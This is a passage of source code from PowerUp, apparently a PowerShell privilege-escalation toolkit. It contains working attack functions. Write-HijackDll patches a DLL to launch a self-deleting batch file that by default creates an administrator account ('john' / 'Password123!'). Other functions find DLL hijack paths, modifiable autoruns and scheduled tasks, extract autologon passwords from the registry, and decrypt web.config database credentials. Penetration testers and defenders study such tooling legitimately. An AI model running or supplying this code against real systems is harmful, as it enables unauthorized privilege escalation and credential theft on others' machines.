2191 }
2192
2193 $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath
2194 $Result | Add-Member Noteproperty 'BackupPath' $BackupPath
2195 $Result
2196 }
2197}
2198
2199
2200function Restore-ServiceBinary {
2201<#
2202 .SYNOPSIS
2203
2204 Restores a service binary backed up by Install-ServiceBinary.
2205
2206 .DESCRIPTION
2207
2208 Takes a service Name or a ServiceProcess.ServiceController on the pipeline and
2209 checks for the existence of an "OriginalServiceBinary.exe.bak" in the service
2210 binary location. If it exists, the backup binary is restored to the original
2211 binary path.
2212
2213 .PARAMETER Name
2214
2215 The service name to restore a binary for.
2216
2217 .PARAMETER BackupPath
2218
2219 Optional manual path to the backup binary.
2220
2221 .EXAMPLE
2222
2223 PS C:\> Restore-ServiceBinary -Name VulnSVC
2224
2225 Restore the original binary for the service 'VulnSVC'.
2226
2227 .EXAMPLE
2228
2229 PS C:\> Get-Service VulnSVC | Restore-ServiceBinary
2230
2231 Restore the original binary for the service 'VulnSVC'.
2232
2233 .EXAMPLE
2234
2235 PS C:\> Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe'
2236
2237 Restore the original binary for the service 'VulnSVC' from a custom location.
2238#>
2239
2240 Param(
2241 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
2242 [Alias('ServiceName')]
2243 [String]
2244 [ValidateNotNullOrEmpty()]
2245 $Name,
2246
2247 [Parameter(Position = 1)]
2248 [ValidateScript({Test-Path -Path $_ })]
2249 [String]
2250 $BackupPath
2251 )
2252
2253 PROCESS {
2254
2255 $TargetService = Get-Service -Name $Name
2256
2257 $ServiceDetails = $TargetService | Get-ServiceDetail
2258
2259 $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths
2260
2261 if(-not $ModifiableFiles) {
2262 throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."
2263 }
2264
2265 $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
2266 $BackupPath = "$($ServicePath).bak"
2267
2268 Copy-Item -Path $BackupPath -Destination $ServicePath -Force
2269 Remove-Item -Path $BackupPath -Force
2270
2271 $Out = New-Object PSObject
2272 $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name
2273 $Out | Add-Member Noteproperty 'ServicePath' $ServicePath
2274 $Out | Add-Member Noteproperty 'BackupPath' $BackupPath
2275 $Out
2276 }
2277}
2278
2279
2280########################################################
2281#
2282# DLL Hijacking
2283#
2284########################################################
2285
2286function Find-ProcessDLLHijack {
2287<#
2288 .SYNOPSIS
2289
2290 Finds all DLL hijack locations for currently running processes.
2291
2292 Author: @harmj0y
2293 License: BSD 3-Clause
2294
2295 .DESCRIPTION
2296
2297 Enumerates all currently running processes with Get-Process (or accepts an
2298 input process object from Get-Process) and enumerates the loaded modules for each.
2299 All loaded module name exists outside of the process binary base path, as those
2300 are DLL load-order hijack candidates.
2301
2302 .PARAMETER Name
2303
2304 The name of a process to enumerate for possible DLL path hijack opportunities.
2305
2306 .PARAMETER ExcludeWindows
2307
2308 Exclude paths from C:\Windows\* instead of just C:\Windows\System32\*
2309
2310 .PARAMETER ExcludeProgramFiles
2311
2312 Exclude paths from C:\Program Files\* and C:\Program Files (x86)\*
2313
2314 .PARAMETER ExcludeOwned
2315
2316 Exclude processes the current user owns.
2317
2318 .EXAMPLE
2319
2320 PS C:\> Find-ProcessDLLHijack
2321
2322 Finds possible hijackable DLL locations for all processes.
2323
2324 .EXAMPLE
2325
2326 PS C:\> Get-Process VulnProcess | Find-ProcessDLLHijack
2327
2328 Finds possible hijackable DLL locations for the 'VulnProcess' processes.
2329
2330 .EXAMPLE
2331
2332 PS C:\> Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
2333
2334 Finds possible hijackable DLL locations not in C:\Windows\* and
2335 not in C:\Program Files\* or C:\Program Files (x86)\*
2336
2337 .EXAMPLE
2338
2339 PS C:\> Find-ProcessDLLHijack -ExcludeOwned
2340
2341 Finds possible hijackable DLL location for processes not owned by the
2342 current user.
2343
2344 .LINK
2345
2346 https://www.mandiant.com/blog/malware-persistence-windows-registry/
2347#>
2348
2349 [CmdletBinding()]
2350 Param(
2351 [Parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
2352 [Alias('ProcessName')]
2353 [String[]]
2354 $Name = $(Get-Process | Select-Object -Expand Name),
2355
2356 [Switch]
2357 $ExcludeWindows,
2358
2359 [Switch]
2360 $ExcludeProgramFiles,
2361
2362 [Switch]
2363 $ExcludeOwned
2364 )
2365
2366 BEGIN {
2367 # the known DLL cache to exclude from our findings
2368 # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx
2369 $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs")
2370 $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName) }) | Where-Object { $_.EndsWith(".dll") }
2371 $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
2372
2373 # get the owners for all processes
2374 $Owners = @{}
2375 Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user }
2376 }
2377
2378 PROCESS {
2379
2380 ForEach ($ProcessName in $Name) {
2381
2382 $TargetProcess = Get-Process -Name $ProcessName
2383
2384 if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) {
2385
2386 try {
2387 $BasePath = $TargetProcess.Path | Split-Path -Parent
2388
2389 $LoadedModules = $TargetProcess.Modules
2390
2391 $ProcessOwner = $Owners[$TargetProcess.Id.ToString()]
2392
2393 ForEach ($Module in $LoadedModules){
2394
2395 $ModulePath = "$BasePath\$($Module.ModuleName)"
2396
2397 # if the module path doesn't exist in the process base path folder
2398 if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) {
2399
2400 $Exclude = $False
2401
2402 if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) {
2403 $Exclude = $True
2404 }
2405
2406 if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) {
2407 $Exclude = $True
2408 }
2409
2410 if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) {
2411 $Exclude = $True
2412 }
2413
2414 # output the process name and hijackable path if exclusion wasn't marked
2415 if (-not $Exclude){
2416 $Out = New-Object PSObject
2417 $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName
2418 $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path
2419 $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner
2420 $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath
2421 $Out
2422 }
2423 }
2424 }
2425 }
2426 catch {
2427 Write-Verbose "Error: $_"
2428 }
2429 }
2430 }
2431 }
2432}
2433
2434
2435function Find-PathDLLHijack {
2436<#
2437 .SYNOPSIS
2438
2439 Finds all directories in the system %PATH% that are modifiable by the current user.
2440
2441 Author: @harmj0y
2442 License: BSD 3-Clause
2443
2444 .DESCRIPTION
2445
2446 Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath
2447 to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is
2448 written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search
2449 order loading.
2450
2451 .EXAMPLE
2452
2453 PS C:\> Find-PathDLLHijack
2454
2455 Finds all %PATH% .DLL hijacking opportunities.
2456
2457 .LINK
2458
2459 http://www.greyhathacker.net/?p=738
2460#>
2461
2462 [CmdletBinding()]
2463 Param()
2464
2465 # use -LiteralPaths so the spaces in %PATH% folders are not tokenized
2466 Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
2467 $TargetPath = $_
2468
2469 $ModifidablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')}
2470 ForEach($ModifidablePath in $ModifidablePaths) {
2471 if($ModifidablePath.ModifiablePath -ne $Null) {
2472 $ModifidablePath | Add-Member Noteproperty '%PATH%' $_
2473 $ModifidablePath
2474 }
2475 }
2476 }
2477}
2478
2479
2480function Write-HijackDll {
2481<#
2482 .SYNOPSIS
2483
2484 Patches in the path to a specified .bat (containing the specified command) into a
2485 pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location.
2486
2487 .DESCRIPTION
2488
2489 First builds a self-deleting .bat file that executes the specified -Command or local user,
2490 to add and writes the.bat out to -BatPath. The BatPath is then patched into a pre-compiled
2491 C++ DLL that is built to be hijackable by the IKEEXT service. There are two DLLs, one for
2492 x86 and one for x64, and both are contained as base64-encoded strings. The DLL is then
2493 written out to the specified OutputFile.
2494
2495 .PARAMETER DllPath
2496
2497 File name to write the generated DLL out to.
2498
2499 .PARAMETER Architecture
2500
2501 The Architecture to generate for the DLL, x86 or x64. If not specified, PowerUp
2502 will try to automatically determine the correct architecture.
2503
2504 .PARAMETER BatPath
2505
2506 Path to the .bat for the DLL to launch.
2507
2508 .PARAMETER UserName
2509
2510 The [domain\]username to add. If not given, it defaults to "john".
2511 Domain users are not created, only added to the specified localgroup.
2512
2513 .PARAMETER Password
2514
2515 The password to set for the added user. If not given, it defaults to "Password123!"
2516
2517 .PARAMETER LocalGroup
2518
2519 Local group name to add the user to (default of 'Administrators').
2520
2521 .PARAMETER Credential
2522
2523 A [Management.Automation.PSCredential] object specifying the user/password to add.
2524
2525 .PARAMETER Command
2526
2527 Custom command to execute instead of user creation.
2528#>
2529
2530 [CmdletBinding()]
2531 param(
2532 [Parameter(Mandatory=$True)]
2533 [String]
2534 [ValidateNotNullOrEmpty()]
2535 $DllPath,
2536
2537 [String]
2538 [ValidateSet('x86', 'x64')]
2539 $Architecture,
2540
2541 [String]
2542 [ValidateNotNullOrEmpty()]
2543 $BatPath,
2544
2545 [String]
2546 $UserName = 'john',
2547
2548 [String]
2549 $Password = 'Password123!',
2550
2551 [String]
2552 $LocalGroup = 'Administrators',
2553
2554 [Management.Automation.PSCredential]
2555 $Credential,
2556
2557 [String]
2558 [ValidateNotNullOrEmpty()]
2559 $Command
2560 )
2561
2562 function local:Invoke-PatchDll {
2563 <#
2564 .SYNOPSIS
2565
2566 Helpers that patches a string in a binary byte array.
2567
2568 .PARAMETER DllBytes
2569
2570 The binary blob to patch.
2571
2572 .PARAMETER SearchString
2573
2574 The string to replace in the blob.
2575
2576 .PARAMETER ReplaceString
2577
2578 The string to replace SearchString with.
2579 #>
2580
2581 [CmdletBinding()]
2582 param(
2583 [Parameter(Mandatory=$True)]
2584 [Byte[]]
2585 $DllBytes,
2586
2587 [Parameter(Mandatory=$True)]
2588 [String]
2589 $SearchString,
2590
2591 [Parameter(Mandatory=$True)]
2592 [String]
2593 $ReplaceString
2594 )
2595
2596 $ReplaceStringBytes = ([System.Text.Encoding]::UTF8).GetBytes($ReplaceString)
2597
2598 $Index = 0
2599 $S = [System.Text.Encoding]::ASCII.GetString($DllBytes)
2600 $Index = $S.IndexOf($SearchString)
2601
2602 if($Index -eq 0) {
2603 throw("Could not find string $SearchString !")
2604 }
2605
2606 for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) {
2607 $DllBytes[$Index+$i]=$ReplaceStringBytes[$i]
2608 }
2609
2610 return $DllBytes
2611 }
2612
2613 if($PSBoundParameters['Command']) {
2614 $BatCommand = $Command
2615 }
2616 else {
2617 if($PSBoundParameters['Credential']) {
2618 $UserNameToAdd = $Credential.UserName
2619 $PasswordToAdd = $Credential.GetNetworkCredential().Password
2620 }
2621 else {
2622 $UserNameToAdd = $UserName
2623 $PasswordToAdd = $Password
2624 }
2625
2626 if($UserNameToAdd.Contains('\')) {
2627 # only adding a domain user to the local group, no user creation
2628 $BatCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
2629 }
2630 else {
2631 # create a local user and add it to the local specified group
2632 $BatCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
2633 }
2634 }
2635
2636 if($PSBoundParameters['Architecture']) {
2637 $TargetArchitecture = $Architecture
2638 }
2639 elseif($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {
2640 $TargetArchitecture = 'x64'
2641 }
2642 else {
2643 $TargetArchitecture = 'x86'
2644 }
2645
2646 if($TargetArchitecture -eq 'x64') {
2647 [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64)
2648 }
2649 else {
2650 [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32)
2651 }
2652
2653 if($PSBoundParameters['BatPath']) {
2654 $TargetBatPath = $BatPath
2655 }
2656 else {
2657 $BasePath = $DllPath | Split-Path -Parent
2658 $TargetBatPath = "$BasePath\debug.bat"
2659 }
2660
2661 # patch in the appropriate .bat launcher path
2662 $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -SearchString 'debug.bat' -ReplaceString $TargetBatPath
2663
2664 # build the launcher .bat
2665 if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath }
2666
2667 "@echo off" | Out-File -Encoding ASCII -Append $TargetBatPath
2668 "start /b $BatCommand" | Out-File -Encoding ASCII -Append $TargetBatPath
2669 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath
2670
2671 Write-Verbose ".bat launcher written to: $TargetBatPath"
2672
2673 Set-Content -Value $DllBytes -Encoding Byte -Path $DllPath
2674 Write-Verbose "$TargetArchitecture DLL Hijacker written to: $DllPath"
2675
2676 $Out = New-Object PSObject
2677 $Out | Add-Member Noteproperty 'DllPath' $DllPath
2678 $Out | Add-Member Noteproperty 'Architecture' $TargetArchitecture
2679 $Out | Add-Member Noteproperty 'BatLauncherPath' $TargetBatPath
2680 $Out | Add-Member Noteproperty 'Command' $BatCommand
2681 $Out
2682}
2683
2684
2685########################################################
2686#
2687# Registry Checks
2688#
2689########################################################
2690
2691function Get-RegistryAlwaysInstallElevated {
2692<#
2693 .SYNOPSIS
2694
2695 Checks if any of the AlwaysInstallElevated registry keys are set.
2696
2697 .DESCRIPTION
2698
2699 Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
2700 or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys
2701 are set, $False otherwise. If one of these keys are set, then all .MSI files run with
2702 elevated permissions, regardless of current user permissions.
2703
2704 .EXAMPLE
2705
2706 PS C:\> Get-RegistryAlwaysInstallElevated
2707
2708 Returns $True if any of the AlwaysInstallElevated registry keys are set.
2709#>
2710
2711 [CmdletBinding()]
2712 Param()
2713
2714 $OrigError = $ErrorActionPreference
2715 $ErrorActionPreference = "SilentlyContinue"
2716
2717 if (Test-Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer") {
2718
2719 $HKLMval = (Get-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
2720 Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)"
2721
2722 if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){
2723
2724 $HKCUval = (Get-ItemProperty -Path "HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
2725 Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)"
2726
2727 if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){
2728 Write-Verbose "AlwaysInstallElevated enabled on this machine!"
2729 $True
2730 }
2731 else{
2732 Write-Verbose "AlwaysInstallElevated not enabled on this machine."
2733 $False
2734 }
2735 }
2736 else{
2737 Write-Verbose "AlwaysInstallElevated not enabled on this machine."
2738 $False
2739 }
2740 }
2741 else{
2742 Write-Verbose "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist"
2743 $False
2744 }
2745
2746 $ErrorActionPreference = $OrigError
2747}
2748
2749
2750function Get-RegistryAutoLogon {
2751<#
2752 .SYNOPSIS
2753
2754 Finds any autologon credentials left in the registry.
2755
2756 .DESCRIPTION
2757
2758 Checks if any autologon accounts/credentials are set in a number of registry locations.
2759 If they are, the credentials are extracted and returned as a custom PSObject.
2760
2761 .EXAMPLE
2762
2763 PS C:\> Get-RegistryAutoLogon
2764
2765 Finds any autologon credentials left in the registry.
2766
2767 .LINK
2768
2769 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb
2770#>
2771
2772 [CmdletBinding()]
2773 Param()
2774
2775 $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue)
2776
2777 Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)"
2778
2779 if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) {
2780
2781 $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName
2782 $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
2783 $DefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
2784 $AltDefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultDomainName -ErrorAction SilentlyContinue).AltDefaultDomainName
2785 $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName
2786 $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword
2787
2788 if ($DefaultUserName -or $AltDefaultUserName) {
2789 $Out = New-Object PSObject
2790 $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName
2791 $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName
2792 $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword
2793 $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName
2794 $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName
2795 $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword
2796 $Out
2797 }
2798 }
2799}
2800
2801function Get-ModifiableRegistryAutoRun {
2802<#
2803 .SYNOPSIS
2804
2805 Returns any elevated system autoruns in which the current user can
2806 modify part of the path string.
2807
2808 .DESCRIPTION
2809
2810 Enumerates a number of autorun specifications in HKLM and filters any
2811 autoruns through Get-ModifiablePath, returning any file/config locations
2812 in the found path strings that the current user can modify.
2813
2814 .EXAMPLE
2815
2816 PS C:\> Get-ModifiableRegistryAutoRun
2817
2818 Return vulneable autorun binaries (or associated configs).
2819#>
2820
2821 [CmdletBinding()]
2822 Param()
2823
2824 $SearchLocations = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
2825 "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
2826 "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run",
2827 "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce",
2828 "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService",
2829 "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService",
2830 "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService",
2831 "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService"
2832 )
2833
2834 $OrigError = $ErrorActionPreference
2835 $ErrorActionPreference = "SilentlyContinue"
2836
2837 $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object {
2838
2839 $Keys = Get-Item -Path $_
2840 $ParentPath = $_
2841
2842 ForEach ($Name in $Keys.GetValueNames()) {
2843
2844 $Path = $($Keys.GetValue($Name))
2845
2846 $Path | Get-ModifiablePath | ForEach-Object {
2847 $Out = New-Object PSObject
2848 $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name"
2849 $Out | Add-Member Noteproperty 'Path' $Path
2850 $Out | Add-Member Noteproperty 'ModifiableFile' $_
2851 $Out
2852 }
2853 }
2854 }
2855
2856 $ErrorActionPreference = $OrigError
2857}
2858
2859
2860########################################################
2861#
2862# Miscellaneous checks
2863#
2864########################################################
2865
2866function Get-ModifiableScheduledTaskFile {
2867<#
2868 .SYNOPSIS
2869
2870 Returns scheduled tasks where the current user can modify any file
2871 in the associated task action string.
2872
2873 .DESCRIPTION
2874
2875 Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks"
2876 and parses the XML specification for each task, extracting the command triggers.
2877 Each trigger string is filtered through Get-ModifiablePath, returning any file/config
2878 locations in the found path strings that the current user can modify.
2879
2880 .EXAMPLE
2881
2882 PS C:\> Get-ModifiableScheduledTaskFile
2883
2884 Return scheduled tasks with modifiable command strings.
2885#>
2886
2887 [CmdletBinding()]
2888 Param()
2889
2890 $OrigError = $ErrorActionPreference
2891 $ErrorActionPreference = "SilentlyContinue"
2892
2893 $Path = "$($ENV:windir)\System32\Tasks"
2894
2895 # recursively enumerate all schtask .xmls
2896 Get-ChildItem -Path $Path -Recurse | Where-Object { -not $_.PSIsContainer } | ForEach-Object {
2897 try {
2898 $TaskName = $_.Name
2899 $TaskXML = [xml] (Get-Content $_.FullName)
2900 if($TaskXML.Task.Triggers) {
2901
2902 $TaskTrigger = $TaskXML.Task.Triggers.OuterXML
2903
2904 # check schtask command
2905 $TaskXML.Task.Actions.Exec.Command | Get-ModifiablePath | ForEach-Object {
2906 $Out = New-Object PSObject
2907 $Out | Add-Member Noteproperty 'TaskName' $TaskName
2908 $Out | Add-Member Noteproperty 'TaskFilePath' $_
2909 $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger
2910 $Out
2911 }
2912
2913 # check schtask arguments
2914 $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiablePath | ForEach-Object {
2915 $Out = New-Object PSObject
2916 $Out | Add-Member Noteproperty 'TaskName' $TaskName
2917 $Out | Add-Member Noteproperty 'TaskFilePath' $_
2918 $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger
2919 $Out
2920 }
2921 }
2922 }
2923 catch {
2924 Write-Verbose "Error: $_"
2925 }
2926 }
2927
2928 $ErrorActionPreference = $OrigError
2929}
2930
2931
2932function Get-UnattendedInstallFile {
2933<#
2934 .SYNOPSIS
2935
2936 Checks several locations for remaining unattended installation files,
2937 which may have deployment credentials.
2938
2939 .EXAMPLE
2940
2941 PS C:\> Get-UnattendedInstallFile
2942
2943 Finds any remaining unattended installation files.
2944
2945 .LINK
2946
2947 http://www.fuzzysecurity.com/tutorials/16.html
2948#>
2949
2950 $OrigError = $ErrorActionPreference
2951 $ErrorActionPreference = "SilentlyContinue"
2952
2953 $SearchLocations = @( "c:\sysprep\sysprep.xml",
2954 "c:\sysprep\sysprep.inf",
2955 "c:\sysprep.inf",
2956 (Join-Path $Env:WinDir "\Panther\Unattended.xml"),
2957 (Join-Path $Env:WinDir "\Panther\Unattend\Unattended.xml"),
2958 (Join-Path $Env:WinDir "\Panther\Unattend.xml"),
2959 (Join-Path $Env:WinDir "\Panther\Unattend\Unattend.xml"),
2960 (Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"),
2961 (Join-Path $Env:WinDir "\System32\Sysprep\Panther\unattend.xml")
2962 )
2963
2964 # test the existence of each path and return anything found
2965 $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object {
2966 $Out = New-Object PSObject
2967 $Out | Add-Member Noteproperty 'UnattendPath' $_
2968 $Out
2969 }
2970
2971 $ErrorActionPreference = $OrigError
2972}
2973
2974
2975function Get-WebConfig {
2976<#
2977 .SYNOPSIS
2978
2979 This script will recover cleartext and encrypted connection strings from all web.config
2980 files on the system. Also, it will decrypt them if needed.
2981
2982 Author: Scott Sutherland - 2014, NetSPI
2983 Author: Antti Rantasaari - 2014, NetSPI
2984
2985 .DESCRIPTION
2986
2987 This script will identify all of the web.config files on the system and recover the
2988 connection strings used to support authentication to backend databases. If needed, the
2989 script will also decrypt the connection strings on the fly. The output supports the
2990 pipeline which can be used to convert all of the results into a pretty table by piping
2991 to format-table.
2992
2993 .EXAMPLE
2994
2995 Return a list of cleartext and decrypted connect strings from web.config files.
2996
2997 PS C:\> Get-WebConfig
2998 user : s1admin
2999 pass : s1password
3000 dbserv : 192.168.1.103\server1
3001 vdir : C:\test2
3002 path : C:\test2\web.config
3003 encr : No
3004
3005 user : s1user
3006 pass : s1password
3007 dbserv : 192.168.1.103\server1
3008 vdir : C:\inetpub\wwwroot
3009 path : C:\inetpub\wwwroot\web.config
3010 encr : Yes
3011
3012 .EXAMPLE
3013
3014 Return a list of clear text and decrypted connect strings from web.config files.
3015
3016 PS C:\>get-webconfig | Format-Table -Autosize
3017
3018 user pass dbserv vdir path encr
3019 ---- ---- ------ ---- ---- ----
3020 s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No
3021 s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No
3022 s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No
3023 s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes
3024 s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No
3025
3026 .LINK
3027
3028 https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
3029 http://www.netspi.com
3030 https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
3031 http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
3032 http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx
3033
3034 .NOTES
3035
3036 Below is an alterantive method for grabbing connection strings, but it doesn't support decryption.
3037 for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings
3038#>
3039
3040 [CmdletBinding()]
3041 Param()
3042
3043 $OrigError = $ErrorActionPreference
3044 $ErrorActionPreference = "SilentlyContinue"
3045
3046 # Check if appcmd.exe exists
3047 if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) {
3048
3049 # Create data table to house results
3050 $DataTable = New-Object System.Data.DataTable
3051
3052 # Create and name columns in the data table
3053 $Null = $DataTable.Columns.Add("user")
3054 $Null = $DataTable.Columns.Add("pass")
3055 $Null = $DataTable.Columns.Add("dbserv")
3056 $Null = $DataTable.Columns.Add("vdir")
3057 $Null = $DataTable.Columns.Add("path")
3058 $Null = $DataTable.Columns.Add("encr")
3059
3060 # Get list of virtual directories in IIS
3061 C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath |
3062 ForEach-Object {
3063
3064 $CurrentVdir = $_
3065
3066 # Converts CMD style env vars (%) to powershell env vars (env)
3067 if ($_ -like "*%*") {
3068 $EnvarName = "`$Env:"+$_.split("%")[1]
3069 $EnvarValue = Invoke-Expression $EnvarName
3070 $RestofPath = $_.split("%")[2]
3071 $CurrentVdir = $EnvarValue+$RestofPath
3072 }
3073
3074 # Search for web.config files in each virtual directory
3075 $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object {
3076
3077 # Set web.config path
3078 $CurrentPath = $_.fullname
3079
3080 # Read the data from the web.config xml file
3081 [xml]$ConfigFile = Get-Content $_.fullname
3082
3083 # Check if the connectionStrings are encrypted
3084 if ($ConfigFile.configuration.connectionStrings.add) {
3085
3086 # Foreach connection string add to data table
3087 $ConfigFile.configuration.connectionStrings.add|
3088 ForEach-Object {
3089
3090 [String]$MyConString = $_.connectionString
3091 if($MyConString -like "*password*") {
3092 $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
3093 $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
3094 $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
3095 $ConfVdir = $CurrentVdir
3096 $ConfPath = $CurrentPath
3097 $ConfEnc = "No"
3098 $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc)
3099 }
3100 }
3101 }
3102 else {
3103
3104 # Find newest version of aspnet_regiis.exe to use (it works with older versions)
3105 $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe' | Sort-Object -Descending | Select-Object fullname -First 1
3106
3107 # Check if aspnet_regiis.exe exists
3108 if (Test-Path ($AspnetRegiisPath.FullName)) {
3109
